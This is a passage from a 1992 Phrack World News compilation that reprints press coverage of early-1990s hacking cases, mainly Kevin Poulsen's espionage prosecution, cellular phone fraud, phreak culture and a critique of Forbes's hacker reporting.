cigarette lighter receptacle.
Cellular companies are starting to watch for suspicious calling patterns. But
the cloning may not be detected until the customer gets his bill.
The second method -- tumbling -- also involves using a personal computer to
alter a microchip in a cellular phone so that its numbers change after every
phone call. Tumbling doesn't require any signal plucking. It takes advantage
of the fact that cellular companies allow "roaming" -- letting you make calls
away from your home area.
When you use a cellular phone far from your home base, it may take too long for
the local switching office to verify your MIN and ESN numbers. So the first
call usually goes through while the verification goes on. If the numbers are
invalid, no more calls will be permitted by that office on that phone.
In 1987 a California hacker figured out how to use his personal computer to
reprogram the chip in a cellular phone. Authorities say one of his pals
started selling altered chips and chipped-up phones. Other hackers figured out
how to make the chips generate new, fake ESN numbers every time the cellular
phone was used, thereby short-circuiting the verification process. By 1991
chipped-up, tumbling ESN phones were in use all over the U.S.
The cellular carriers hope to scotch the problem of tumbling with instant
verification. But that won't stop the clones.
How do crooks cash in? Drug dealers buy (for up to $ 3,200) or lease (about
$750 per day) cellular phones with altered chips. So do the "call-sell"
crooks, who retail long distance calls to immigrants often for less than phone
companies charge. That's why a victim will get bills for calls all over the
world, but especially to Colombia, Bolivia and other drug-exporting countries.
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 12 of 13
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN PWN
PWN Phrack World News PWN
PWN PWN
PWN Issue 41 / Part 2 of 3 PWN
PWN PWN
PWN Compiled by Datastream Cowboy PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Government Cracks Down On Hacker November 2, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Donald Clark (The San Francisco Chronicle)(Page C1)
"Civil Libertarians Take Keen Interest In Kevin Poulsen Case"
Breaking new ground in the war on computer crime, the Justice Department plans
to accuse Silicon Valley's most notorious hacker of espionage.
Kevin Lee Poulsen, 27, touched off a 17-month manhunt before being arrested on
charges of telecommunications and computer fraud in April 1991. A federal
grand jury soon will be asked to issue a new indictment charging Poulsen with
violating a law against willfully sharing classified information with
unauthorized persons, assistant U.S. attorney Robert Crowe confirmed.
A 1988 search of Poulsen's Menlo Park storage locker uncovered a set of secret
orders from a military exercise, plus evidence that Poulsen may have tried to
log onto an Army data network and eavesdropped on a confidential investigation
of former Philippine President Ferdinand Marcos. It is not clear whether the
new charge stems from these or other acts.
Poulsen did not hand secrets to a foreign power, a more serious crime, Crowe
noted. But by using an espionage statute against a U.S. hacker for the first
time, prosecutors raise the odds of a record jail sentence that could be used
to deter other electronic break-ins.
They could use a stronger deterrent. Using personal computers connected to
telephone lines, cadres of so-called cyberpunks have made a sport of tapping
into confidential databases and voicemail systems at government agencies and
corporations. Though there is no reliable way to tally the damage, a 1989
survey indicated that computer crimes may cost U.S. business $500 million a
year, according to the Santa Cruz-based National Center for Computer Crime
Data.
Telephone companies, whose computers and switching systems have long been among
hackers' most inviting targets, are among those most anxious to tighten
security. Poulsen allegedly roamed at will through the networks of Pacific
Bell, for example, changing records and even intercepting calls between Pac
Bell security personnel who were on his trail.
The San Francisco-based utility has been intimately involved in his
prosecution; Poulsen was actually captured in part because one of the company's
investigators staked out a suburban Los Angeles supermarket where the fugitive
shopped.
"Virtually everything we do these days is done in a computer --your credit
cards, your phone bills," said Kurt von Brauch, a Pac Bell security officer who
tracked Poulsen, in an interview last year. "He had the knowledge to go in
there and alter them."
BROAD LEGAL IMPACT
Poulsen's case could have broad impact because of several controversial legal
issues involved. Some civil libertarians, for example, question the Justice
Department's use of the espionage statute, which carries a maximum 10-year
penalty and is treated severely under federal sentencing guidelines. They
doubt the law matches the actions of Poulsen, who seems to have been motivated
more by curiosity than any desire to hurt national security.
"Everything we know about this guy is that he was hacking around systems for
his own purposes," said Mike Godwin, staff counsel for the Electronic Frontier
Foundation, a public-interest group that has tracked Poulsen's prosecution. He
termed the attempt to use the statute against Poulsen "brain-damaged."
Poulsen, now in federal prison in Pleasanton, has already served 18 months in
jail without being tried for a crime, much less convicted. Though federal
rules are supposed to ensure a speedy trial, federal judges can grant extended
time to allow pretrial preparation in cases of complex evidence or novel legal
issues.
Both are involved here. After he fled to Los Angeles to avoid prosecution,
for example, Poulsen used a special scrambling scheme on one computer to make
his data files unintelligible to others. It has taken months to decode that
data, and the job isn't done yet, Crowe said. That PC was only found because
authorities intercepted one of Poulsen's phone conversations from jail, other
sources said.
CHARGES LABELED ABSURD
Poulsen declined requests for interviews. His attorney, Paul Meltzer, terms
the espionage charge absurd. He is also mounting several unusual attacks on
parts of the government's original indictment against Poulsen, filed in 1989.
He complains, for example, that the entire defense team is being subjected to
15-year background checks to obtain security clearances before key documents
can be examined.
"The legal issues are fascinating," Meltzer said. "The court will be forced to
make law."
Poulsen's enthusiasm for exploring forbidden computer systems became known to
authorities in 1983. The 17-year-old North Hollywood resident, then using the
handle Dark Dante, allegedly teamed up with an older hacker to break into
ARPAnet, a Pentagon-organized computer network that links researchers and
defense contractors around the country. He was not charged with a crime because
of his age.
Despite those exploits, Poulsen was later hired by SRI International, a Menlo
Park-based think tank and government contractor, and given an assistant
programming job with a security clearance. Though SRI won't comment, one
source said Poulsen's job involved testing whether a public data network, by
means of scrambling devices, could be used to confidentially link classified
government networks.
But Poulsen apparently had other sidelines. Between 1985 and 1988, the Justice
Department charges, Poulsen burglarized or used phony identification to sneak
into several Bay Area phone company offices to steal equipment and confidential
access codes that helped him monitor calls and change records in Pac Bell
computers, prosecutors say.
CACHE OF PHONE GEAR
The alleged activities came to light because Poulsen did not pay a bill at the
Menlo/Atherton Storage Facility. The owner snipped off a padlock on a storage
locker and found an extraordinary cache of telephone paraphernalia. A 19-count
indictment, which also named two of Poulsen's associates, included charges of
theft of government property, possession of wire-tapping devices and phony
identification.
One of Poulsen's alleged accomplices, Robert Gilligan, last year pleaded guilty
to one charge of illegally obtaining Pac Bell access codes. Under a plea
bargain, Gilligan received three years of probation, a $25,000 fine, and agreed
to help authorities in the Poulsen prosecution. Poulsen's former roommate,
Mark Lottor, is still awaiting trial.
A key issue in Poulsen's case concerns CPX Caber Dragon, a code name for a
military exercise in Fort Bragg, North Carolina. In late 1987 or early 1988,
the government charges, Poulsen illegally obtained classified orders for the
exercise. But Meltzer insists that the orders had been declassified by the
time they were seized, and were reclassified after the fact to prosecute
Poulsen. Crowe said Meltzer has his facts wrong. "That's the same as saying
we're framing Poulsen," Crowe said. "That's the worst sort of accusation I can
imagine."
Another dispute focuses on the charge of unauthorized access to government
computers. FBI agents found an electronic copy of the banner that a computer
user sees on first dialing up an Army network called MASNET, which includes a
warning against unauthorized use of the computer system. Meltzer says Poulsen
never got beyond this computer equivalent of a "No Trespassing" sign.
Furthermore, Meltzer argues that the law is unconstitutional because it does
not sufficiently define whether merely dialing up a computer qualifies as
illegal "access."
Meltzer also denies that Poulsen could eavesdrop on calls. The indictment
accuses him of illegally owning a device called a direct access test unit,
which it says is "primarily useful" for surreptitiously intercepting
communications. But Meltzer cites an equipment manual showing that the system
is specifically designed to garble conversations, though it allows phone
company technicians to tell that a line is in use.
Crowe said he will soon file written rebuttals to Meltzer's motions. In
addition to the new indictment he is seeking, federal prosecutors in Los
Angeles are believed to be investigating Poulsen's activities while a fugitive.
Among other things, Poulsen reportedly taunted FBI agents on computer bulletin
boards frequented by hackers.
PHONE COMPANIES WORRIED
Poulsen's prosecution is important to the government -- and phone companies --
because of their mixed record so far in getting convictions in hacker cases.
In one of the most embarrassing stumbles, a 19-year-old University of Missouri
student named Craig Neidorf was indicted in February 1990 on felony charges for
publishing a memorandum on the emergency 911 system of Bell South. The case
collapsed when the phone company information -- which the government said was
worth $79,940 -- was shown by the defense to be available from another Bell
system for just $13.50.
Author Bruce Sterling, whose "The Hacker Crackdown" surveys recent high-tech
crime and punishment, thinks the phone company overstates the dangers from
young hackers. On the other hand, a Toronto high school student electronically
tampered with that city's emergency telephone dispatching system and was
arrested, he noted.
Because systems that affect public safety are involved, law enforcement
officials are particularly anxious to win convictions and long jail sentences
for the likes of Poulsen.
"It's very bad when the government goes out on a case and loses," said one
computer-security expert who asked not to be identified. "They are desperately
trying to find something to hang him on."
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Computer Hacker Charged With Stealing Military Secrets December 8, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from the Associated Press
SAN FRANCISCO -- A computer hacker has been charged with stealing Air Force
secrets that allegedly included a list of planned targets in a hypothetical
war.
Former Silicon Valley computer whiz Kevin Poulsen, who was accused in the early
1980s as part of a major hacking case, was named in a 14-count indictment
issued Monday.
He and an alleged accomplice already face lesser charges of unlawful use of
telephone access devices, illegal wiretapping and conspiracy.
Poulsen, 27, of Los Angeles, faces 7-to-10 years in prison if convicted of the
new charge of gathering defense information, double the sentence he faced
previously.
His lawyer, Paul Meltzer, says the information was not militarily sensitive and
that it was reclassified by government officials just so they could prosecute
Poulsen on a greater charge.
A judge is scheduled to rule February 1 on Meltzer's motion to dismiss the
charge.
In the early 1980s, Poulsen and another hacker going by the monicker Dark Dante
were accused of breaking into UCLA's computer network in one of the first
prosecutions of computer hacking.
He escaped prosecution because he was then a juvenile and went to work at Sun
Microsystems in Mountain View.
While working for Sun, Poulsen illegally obtained a computer tape containing a
1987 order concerning a military exercise code-named Caber Dragon 88, the
government said in court papers. The order is classified secret and contains
names of military targets, the government said.
In 1989, Poulsen and two other men were charged with stealing telephone access
codes from a Pacific Bell office, accessing Pacific Bell computers, obtaining
unpublished phone numbers for the Soviet Consulate in San Francisco; dealing in
stolen telephone access codes; and eavesdropping on two telephone company
investigators.
Poulsen remained at large until a television show elicited a tip that led to
his capture in April 1991.
He and Mark Lottor, 27, of Menlo Park, are scheduled to be tried in March. The
third defendant, Robert Gilligan, has pleaded guilty and agreed to pay Pacific
Bell $25,000. He is scheduled to testify against Lottor and Poulsen as part of
a plea bargain.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CA Computer Whiz Is First Hacker Charged With Espionage December 10, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by John Enders (The Associated Press)
SAN JOSE, California -- A 28-year-old computer whiz who reportedly once tested
Department of Defense security procedures has become the first alleged computer
hacker to be charged with espionage.
The government says Kevin Lee Poulsen stole classified military secrets and
should go to prison. But his lawyer calls him "an intellectually curious
computer nerd."
Poulsen, of Menlo Park, California, worked in the mid-1980s as a consultant
testing Pentagon computer security. Because of prosecution delays, he was held
without bail in a San Jose jail for 20 months before being charged this week.
His attorney, Paul Meltzer, says that Poulsen did not knowingly possess
classified information. The military information had been declassified by the
time prosecutors say Poulsen obtained it, Meltzer said.
"They are attempting to make him look like Julius Rosenberg," Meltzer said of
the man executed in 1953 for passing nuclear-bomb secrets to the Soviet Union.
"It's just ridiculous."
Poulsen was arrested in 1988 on lesser but related hacking charges. He
disappeared before he was indicted and was re-arrested in Los Angeles in April
1991. Under an amended indictment, he was charged with illegal possession of
classified government secrets.
Poulsen also is charged with 13 additional counts, including eavesdropping on
private telephone conversations and stealing telephone company equipment.
If convicted on all counts, he faces up to 85 years in prison and fines
totaling $3.5 million, said Assistant U.S. Attorney Robert Crowe in San
Francisco.
On Monday (12/7), Poulsen pleaded innocent to all charges. He was handed over
to U.S. Marshals in San Jose on Wednesday (12/9) and was being held at a
federal center in Pleasanton near San Francisco.
He hasn't been available for comment, but in an earlier letter from prison,
Poulsen called the charges "ludicrous" and said the government is taking
computer hacking too seriously.
U.S. Attorney John A. Mendez said Wednesday (12/9) that Poulsen is not
suspected of turning any classified or non-classified information over to a
foreign power, but he said Poulsen's alleged activities are being taken very
seriously.
"He's unique. He's the first computer hacker charged with this type of
violation -- unlawful gathering of defense information," Mendez said.
Assistant U.S. Attorney Robert Crowe said the espionage charge was entered only
after approval from the Justice Department's internal security section in
Washington.
The indictment alleges that Poulsen:
- Tapped into the Pacific Bell Co.'s computer and collected unpublished
telephone numbers and employee lists for the Soviet Consulate in San
Francisco.
- Stole expensive telephone switching and other equipment.
- Retrieved records of phone company security personnel and checked records of
their own calls to see if they were following him.
- Eavesdropped on telephone calls and computer electronic mail between phone
company investigators and some of his acquaintances.
- Tapped into an unclassified military computer network known as Masnet.
- Obtained a classified document on flight orders for a military exercise
involving thousands of paratroopers at the Army's Fort Bragg in North
Carolina.
The offenses allegedly took place between 1986 and 1988.
In 1985, the Palo Alto, California, think tank SRI International hired Poulsen
to work on military contracts, including a sensitive experiment to test
Pentagon computer security, according to published reports. SRI has declined
to comment on the case.
_______________________________________________________________________________
Hacker For Hire October 19, 1992
~~~~~~~~~~~~~~~
by Mark Goodman and Allison Lynn (People)(Page 151)
"Real-life Sneaker Ian Murphy puts the byte on corporate spies."
THERE'S NO PRIVACY THESE DAYS," says Ian Murphy. "Just imagine going into GM's
or IBM's accounts and wiping them out. You can bring about economic collapse
by dropping in a virus without them even knowing it." Scoff at your peril,
Corporate America. Captain Zap -- as Murphy is known in the electronic
underworld of computer hackers -- claims there's no computer system he can't
crack, and hence no mechanical mischief he can't wreak on corporations or
governments. And Murphy, 35, has the track record -- not to mention the
criminal record -- to back up his boasts.
Murphy's fame in his subterranean world is such that he worked as a consultant
for Sneakers, the hit film about a gang of computer-driven spies (Robert
Redford, Sidney Poitier, Dan Aykroyd) lured into doing some high-risk
undercover work for what they believe is the National Security Agency.
Murphy loved the way the movie turned out. "It's like a training film for
hackers," he says, adding that he saw much of himself in the Aykroyd character,
a pudgy, paranoid fantasist named Mother who, like Murphy, plows through
people's trash for clues. In fact when Aykroyd walked onscreen covered with
trash, Murphy recalls, "My friends turned to me and said, 'Wow, that's you!'"
If that sounds like a nerd's fantasy, then check out Captain Zap's credentials.
Among the first Americans to be convicted of a crime involving computer break-
ins, he served only some easy community-service time in 1983 before heading
down the semistraight, not necessarily narrow, path of a corporate spy.
Today, Murphy, 35, is president of IAM Secure Data Systems, a security
consultant group he formed in 1982. For a fee of $5,000 a day plus expenses,
Murphy has dressed up as a phone-company employee and cracked a bank's security
system, he has aided a murder investigation for a drug dealer's court defense,
and he has conducted a terrorism study for a major airline. His specialty,
though, is breaking into company security systems -- an expertise he applied
illegally in his outlaw hacker days and now, legally, by helping companies
guard against such potential break-ins. Much of his work lately, he says,
involves countersurveillance -- that is, finding out if a corporation's
competitors are searching its computer systems for useful information. "It's
industrial spying," Murphy says, "and it's happening all over the place."
Murphy came by his cloak-and-daggerish calling early. He grew up in Gladwyne,
Pennsylvania, on Philadelphia's Main Line, the son of Daniel Murphy, a retired
owner of a stevedoring business, and his wife, Mary Ann, an advertising
executive. Ian recalls, "As a kid, I was bored. In science I did wonderfully.
The rest of it sucked. And social skills weren't my thing."
Neither was college. Ian had already begun playing around with computers at
Archbishop Carroll High School; after graduation he joined the Navy. He got an
early discharge in 1975 when the Navy didn't assign him to radio school as
promised, and he returned home to start hacking with a few pals. In his
heyday, he claims, he broke into White House and Pentagon computers. "In the
Pentagon," he says, "we were playing in the missile department, finding out
about the new little toys they were developing and trying to mess with their
information. None of our break-ins had major consequences, but it woke them the
hell up because they [had] all claimed it couldn't be done."
Major consequences came later. Murphy and his buddies created dummy
corporations with Triple-A credit ratings and ordered thousands of dollars'
worth of computer equipment. Two years later the authorities knocked at
Murphy's door. His mother listened politely to the charges, then earnestly
replied, "You have the wrong person. He doesn't know anything about
computers."
Right. Murphy was arrested and convicted of receiving stolen property in 1982.
But because there were no federal computer-crime laws at that time, he got off
with a third-degree felony count. He was fined $1,000, ordered to provide
1,000 hours of community service (he worked in a homeless shelter) and placed
on probation for 2 1/2 years. "I got off easy," he concedes.
Too easy, by his own mother's standards. A past president of Republican Women
of the Main Line, Mary Ann sought out her Congressman, Larry Coughlin, and put
the question to him: "How would you like it if the next time you ran for
office, some young person decided he was going to change all of your files?"
Coughlin decided he wouldn't like it and raised the issue on the floor of
Congress in 1983. The following year, Congress passed a national computer-
crime law, making it illegal to use a computer in a manner not authorized by
the owner.
Meanwhile, Murphy, divorced in 1977 after a brief marriage, had married Carol
Adrienne, a documentary film producer, in 1982. Marriage evidently helped set
Murphy straight, and he formed his company -- now with a staff of 12 that
includes a bomb expert and a hostage expert. Countersurveillance has been
profitable (he's making more than $250,000 a year and is moving out of his
parents' house), but it has left him little time to work on his social skills -
- or for that matter his health. At 5 ft.6 in. and 180 lbs., wearing jeans,
sneakers and a baseball cap, Murphy looks like a Hollywood notion of himself.
He has suffered four heart attacks since 1986 but unregenerately smokes a pack
of cigarettes a day and drinks Scotch long before the sun falls over the
yardarm.
He and Carol divorced in April 1991, after 10 years of marriage. "She got
ethics and didn't like the work I did," he says. These days Murphy dates --
but not until he thoroughly "checks" the women he goes out with. "I want to
know who I'm dealing with because I could be dealing with plants," he explains.
"The Secret Service plays games with hackers."
Murphy does retain a code of honor. He will work for corporations, helping to
keep down the corporate crime rate, he says, but he won't help gather evidence
to prosecute fellow hackers. Indeed his rogue image makes it prudent for him
to stay in the background. Says Reginald Branham, 23, president of Cyberlock
Consulting, with whom Murphy recently developed a comprehensive antiviral
system: "I prefer not to take Ian to meetings with CEOs. They're going to
listen to him and say, 'This guy is going to tear us apart.'" And yet Captain
Zap, for all his errant ways, maintains a certain peculiar charm. "I'm like
the Darth Vader of the computer world," he insists. "In the end I turn out to
be the good guy."
(Photograph 1 = Ian Murphy)
(Photograph 2 = River Phoenix, Robert Redford, Dan Aykroyd, and Sidney Poitier)
(Photograph 3 = Mary Ann Murphy <Ian's mom>)
_______________________________________________________________________________
Yacking With A Hack August 1992
~~~~~~~~~~~~~~~~~~~
by Barbara Herman (Teleconnect)(Page 60)
"Phone phreaking for fun, profit & politics."
Ed is an intelligent, articulate 18 year old. He's also a hacker, a self-
professed "phreak" -- the term that's developed in a subculture of usually
young, middle-class computer whizzes.
I called him at his favorite phone booth.
Although he explained how he hacks as well as what kinds of hacking he has been
involved in, I was especially interested in why he hacks.
First off, Ed wanted to make it clear he doesn't consider himself a
"professional" who's in it only for the money. He kept emphasizing that
"hacking is not only an action, it's a state of mind."
Phreaks even have an acronym-based motto that hints at their overblown opinions
of themselves. PHAC. It describes what they do: "phreaking," "hacking,"
"anarchy" and "carding." In other words, they get into systems over the
telecom network (phreaking), gain access (hacking), disrupt the systems
(political anarchy) and use peoples' calling/credit cards for their personal
use.
Throughout our talk, Ed showed no remorse for hacking. Actually, he had
contempt for those he hacked. Companies were "stupid" because their systems'
were so easy to crack. They deserved it.
As if they should have been thankful for his mercy, he asked me to imagine what
would have happened if he really hacked one railway company's system (he merely
left a warning note), changing schedules and causing trains to collide.
He also had a lot of disgust for the "system," which apparently includes big
business (he is especially venomous toward AT&T), government, the FBI, known as
"the Gestapo" in phreak circles, and the secret service, whose "intelligence
reflects what their real jobs should be, secret service station attendants."
He doesn't really believe any one is losing money on remote access toll fraud.
He figures the carriers are angry not about money lost but rather hypothetical
money, the money they could have charged for the free calls the hackers made,
which he thinks are overpriced to begin with.
He's also convinced (wrongly) that companies usually don't foot the bill for
the free calls hackers rack up on their phone systems. "And, besides, if some
multi-million dollar corporation has to pay, I'm certainly not going to cry for
them."
I know. A twisted kid. Weird. But besides his skewed ethics, there's also a
bunch of contradictions.
He has scorn for companies who can't keep him out, even though he piously warns
them to try.
He dismisses my suggestion that the "little guy" is in fact paying the bills
instead of the carrier. And yet he says AT&T is overcharging them for the
"vital" right to communicate with each other.
He also contradicted his stance of being for the underdog by calling the
railway company "stupid" for not being more careful with their information.
Maybe a railway company is not necessarily the "little guy," but it hardly
seems deserving of the insults Ed hurled at it. When I mentioned that a
hospital in New York was taken for $100,000 by hackers, he defended the hackers
by irrelevantly making the claim that doctors easily make $100,000 a year.
Since when did doctors pay hospital phone bills?
What Ed is good at is rationalizing. He lessens his crimes by raising them to
the status of political statements, and yet in the same breath, for example, he
talks about getting insider info on the stock market and investing once he
knows how the stock is doing. He knows it's morally wrong, he told me, but
urged me to examine this society that "believes in making a buck any way you
can. It's not a moral society."
Amazingly enough, the hacker society to which Ed belongs, if I can
unstatistically use him as a representative of the whole community, is just as
tangled in the contradictions of capitalism as the "system" they supposedly
loathe. In fact, they are perhaps more deluded and hypocritical because they
take a political stance rather than recognizing their crimes for what they are.
How can Ed or anyone else in the "phreaking" community take seriously their
claims of being against big business and evil capitalism when they steal
people's credit-card and calling-card numbers and use them for their own
profit?
The conversation winded down after Ed rhapsodized about the plight of the
martyred hacker who is left unfairly stigmatized after he is caught, or "taken
down."
One time the Feds caught his friend hacking ID codes, had several phone
companies and police search his house, and had his computer taken away. Even
though charges were not filed, Ed complained, "It's not fair."
That's right, phreak. They should have thrown him in prison.
_______________________________________________________________________________
Computer Hacker On Side Of Law September 23, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Shelby Grad (Los Angeles Times)(Page B3)
COSTA MESA, CA -- Philip Bettencourt's formal title is photo lab supervisor for
the Costa Mesa Police Department. But on Tuesday afternoon, he served as the
department's official computer hacker.
Bettencourt, pounding the keyboard excitedly as other officers looked on, was
determined to find information within a stolen computer's vast memory that
would link the machine to its owner.
So far, he had made matches for all but two of the 26 computers recovered
earlier this month by police as part of a countywide investigation of stolen
office equipment. This would be number 25.
First, he checked the hard drive's directory, searching for a word-processing
program that might include a form letter or fax cover sheet containing the
owner's name, address or phone number.
When that failed, he tapped into an accounting program, checking for clues on
the accounts payable menu.
"Bingo!" Bettencourt yelled a few minutes into his work. He found an invoice
account number to a Fountain Valley cement company that might reveal the
owner's identity. Seconds later, he came across the owner's bank credit-card
number.
And less than a minute after that, Bettencourt hit pay dirt: The name of a
Santa Ana building company that, when contacted, revealed that it had indeed
been the victim of a recent computer burglary.
"This is great," said Bettencourt, who has been interested in computers for
nearly two decades now, ever since Radio Shack put its first model on the
market. "I love doing this. This is hacking, but it's in a good sense, not
trying to hurt someone. This is helping people."
Few computer owners who were reunited with their equipment would contest that.
When Costa Mesa police recovered $250,000 worth of computers, fax machines,
telephones and other office gadgets, detectives were faced with the difficult
task of matching machines bearing few helpful identifying marks to their
owners, said investigator Bob Fate.
Enter Bettencourt, who tapped into the computers' hard drives, attempting to
find the documents that would reveal from whom the machines were taken.
As of Tuesday, all but $50,000 worth of equipment was back in owners' hands.
Investigators suggested that people who recently lost office equipment call the
station to determine if some of the recovered gadgetry belongs to them.
Ironically, the alleged burglars tripped themselves up by not erasing the data
from the computers before reselling the machines, authorities said. A college
student who purchased one of the stolen computers found data from the previous
owner, whom he contacted. Police were then called in, and a second "buy" was
scheduled in which several suspects were arrested, Fate said.
Three people were arrested September 15 and charged with receiving and
possessing stolen property. Police are still searching for the burglars.
The office equipment was recovered from an apartment and storage facility in
Santa Ana.
Bettencourt matched the final stolen computer to its owner before sundown
Tuesday.
_______________________________________________________________________________
CuD's 1992 MEDIA HYPE Award To FORBES MAGAZINE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Jim Thomas (Computer Underground Digest)
In recent years, media depiction of "hackers" has been criticized for
inaccurate and slanted reporting that exaggerates the public dangers of the
dread "hacker menace." As a result, CuD annually recognizes the year's most
egregious example of media hype.
The 1992 annual CuD GERALDO RIVERA MEDIA HYPE award goes to WILLIAM G. FLANAGAN
AND BRIGID McMENAMIN for their article "The Playground Bullies are Learning how
to Type" in the 21 December issue of Forbes (pp 184-189). The authors improved
upon last year's winner, Geraldo himself, in inflammatory rhetoric and
distorted narrative that seems more appropriate for a segment of "Inside
Edition" during sweeps week than for a mainstream conservative periodical.
The Forbes piece is the hands-down winner for two reasons. First, one reporter
of the story, Brigid McMenamin, was exceptionally successful in creating for
herself an image as clueless and obnoxious. Second, the story itself was based
on faulty logic, rumors, and some impressive leaps of induction. Consider the
following.
The Reporter: Brigid McMenamin
It's not only the story's gross errors, hyperbole, and irresponsible distortion
that deserve commendation/condemnation, but the way that Forbes reporter Brigid
McMenamin tried to sell herself to solicit information.
One individual contacted by Brigid McM claimed she called him several times
"bugging" him for information, asking for names, and complaining because
"hackers" never called her back. He reports that she explicitly stated that
her interest was limited to the "illegal stuff" and the "crime aspect" and was
oblivious to facts or issues that did not bear upon hackers-as-criminals.
Some persons present at the November 2600 meeting at Citicorp, which she
attended, suggested the possibility that she used another reporter as a
credibility prop, followed some of the participants to dinner after the
meeting, and was interested in talking only about illegal activities. One
observer indicated that those who were willing to talk to her might not be the
most credible informants. Perhaps this is one reason for her curious language
in describing the 2600 meeting.
Another person she contacted indicated that she called him wanting names of
people to talk to and indicated that because Forbes is a business magazine, it
only publishes the "truth." Yet, she seemed not so much interested in "truth,"
but in finding "evidence" to fit a story. He reports that he attempted to
explain that hackers generally are interested in Unix and she asked if she
could make free phone calls if she knew Unix. Although the reporter stated to
me several times that she had done her homework, my own conversation with her
contradicted her claims, and if the reports of others are accurate, here claims
of preparation seem disturbingly exaggerated.
I also had a rather unpleasant exchange with Ms. McM. She was rude, abrasive,
and was interested in obtaining the names of "hackers" who worked for or as
"criminals." Her "angle" was clearly the hacker-as-demon. Her questions
suggested that she did not understand the culture about which she was writing.
She would ask questions and then argue about the answer, and was resistant to
any "facts" or responses that failed to focus on "the hacker criminal." She
dropped Emmanuel Goldstein's name in a way that I interpreted as indicating a
closer relationship than she had--an incidental sentence, but one not without
import -- which I later discovered was either an inadvertently misleading
choice of words or a deliberate attempt to deceptively establish credentials.
She claimed she was an avowed civil libertarian. I asked why, then, she didn't
incorporate some of those issues. She invoked publisher pressure. Forbes is a
business magazine, she said, and the story should be of interest to readers.
She indicated that civil liberties weren't related to "business." She struck
me as exceptionally ill-informed and not particularly good at soliciting
information. She also left a post on Mindvox inviting "hackers" who had been
contacted by "criminals" for services to contact her.
>Post: 150 of 161
>Subject: Hacking for Profit?
>From: forbes (Forbes Reporter)
>Date: Tue, 17 Nov 92 13:17:34 EST
>
>Hacking for Profit? Has anyone ever offered to pay you (or
>a friend) to get into a certain system and alter, destroy or
>retrieve information? Can you earn money hacking credit
>card numbers, access codes or other information? Do you know
>where to sell it? Then I'd like to hear from you. I'm
>doing research for a magazine article. We don't need you
>name. But I do want to hear your story. Please contact me
>Forbes@mindvox.phantom.com.
However, apparently she wasn't over-zealous about following up her post or
reading the Mindvox conferences. When I finally agreed to send her some
information about CuD, she insisted it be faxed rather than sent to Mindvox
because she was rarely on it. Logs indicate that she made only six calls to
the board, none of which occurred after November 24.
My own experience with the Forbes reporter was consistent with those of others.
She emphasized "truth" and "fact-checkers," but the story seems short on both.
She emphasized explicitly that her story would *not* be sensationalistic. She
implied that she wanted to focus on criminals and that the story would have the
effect of presenting the distinction between "hackers" and real criminals.
Another of her contacts also appeared to have the same impression. After our
less-than-cordial discussion, she reported it to the contact, and he attempted
to intercede on her behalf in the belief that her intent was to dispel many of
the media inaccuracies about "hacking." If his interpretation is correct, then
she deceived him as well, because her portrayal of him in the story was
unfavorably misleading.
In CuD 4.45 (File #3), we ran Mike Godwin's article on "How to Talk to the
Press," which should be required reading. His guidelines included:
1) TRY TO THINK LIKE THE REPORTER YOU'RE TALKING TO.
2) IF YOU'RE GOING TO MEET THE REPORTER IN PERSON, TRY TO
BRING SOMETHING ON PAPER.
3) GIVE THE REPORTER OTHER PEOPLE TO TALK TO, IF POSSIBLE.
4) DON'T ASSUME THAT THE REPORTER WILL COVER THE STORY THE WAY
YOU'D LIKE HER TO.
Other experienced observers contend that discussing "hacking" with the press
should be avoided unless one knows the reporter well or if the reporter has
established sufficient credentials as accurate and non-sensationalist. Using
these criteria, it will probably be a long while before any competent
cybernaught again speaks to Brigid McMenamin.
The Story
Rather than present a coherent and factual story about the types of computer
crime, the authors instead make "hackers" the focal point and use a narrative
strategy that conflates all computer crime with "hackers."
The story implies that Len Rose is part of the "hacker hood" crowd. The lead
reports Rose's prison experience and relates his feeling that he was "made an
example of" by federal prosecutors. But, asks the narrative, if this is so,
then why is the government cracking down? Whatever else one might think of Len
Rose, no one ever has implied that he as a "playground bully" or "hacker hood."
The story also states that 2600 Magazine editor Emmanuel Goldstein "hands
copies <of 2600> out free of charge to kids. Then they get arrested." (p. 188-
-a quote attributed to Don Delaney), and distorts (or fabricates) facts to fit
the slant:
According to one knowledgeable source, another hacker brags
that he recently found a way to get into Citibank's
computers. For three months he says he quietly skimmed off a
penny or so from each account. Once he had $200,000, he quit.
Citibank says it has no evidence of this incident and we
cannot confirm the hacker's story. But, says computer crime
expert Donn Parker of consultants SRI International: "Such a
'salami attack' is definitely possible, especially for an
insider" (p. 186).
Has anybody calculated how many accounts one would have to "skim" a few pennies
from before obtaining $200,000? At a dime apiece, that's over 2 million. If
I'm figuring correctly, at one minute per account, 60 accounts per minute non-
stop for 24 hours a day all year, it would take nearly 4 straight years of on-
line computer work for an out-sider. According to the story, it took only 3
months. At 20 cents an account, that's over a million accounts.
Although no names or evidence are given, the story quotes Donn Parker of SRI as
saying that the story is a "definite possibility." Over the years, there have
been cases of skimming, but as I remember the various incidents, all have been
inside jobs and few, if any, involved hackers. The story is suspiciously
reminiscent of the infamous "bank cracking" article published in Phrack as a
spoof several years ago.
The basis for the claim that "hacker hoods" (former "playground bullies") are
now dangerous is based on a series of second and third-hand rumors and myths.
The authors then list from "generally reliable press reports" a half-dozen or
so non-hacker fraud cases that, in context, would seem to the casual reader to
be part of the "hacker menace." I counted in the article at least 24 instances
of half-truths, inaccuracies, distortions, questionable/spurious links, or
misleading claims that are reminiscent of 80s media hype. For example, the
article attributes to Phiber Optik counts in the MOD indictment that do not
include him, misleads on the Len Rose indictment and guilty plea, uses second
and third hand information as "fact" without checking the reliability, and
presents facts out of context (such as attributing the Morris Internet worm to
"hackers).
Featured as a key "hacker hood" is "Kimble," a German hacker said by some to be
